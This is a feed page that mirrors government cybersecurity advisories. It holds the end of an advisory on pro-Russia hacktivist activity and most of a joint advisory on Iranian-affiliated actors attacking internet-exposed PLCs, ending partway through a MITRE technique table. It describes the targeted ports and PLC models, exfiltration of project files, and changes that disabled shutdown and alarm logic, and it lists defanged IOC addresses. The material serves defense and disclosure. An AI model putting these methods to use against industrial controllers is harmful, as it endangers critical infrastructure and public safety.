<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
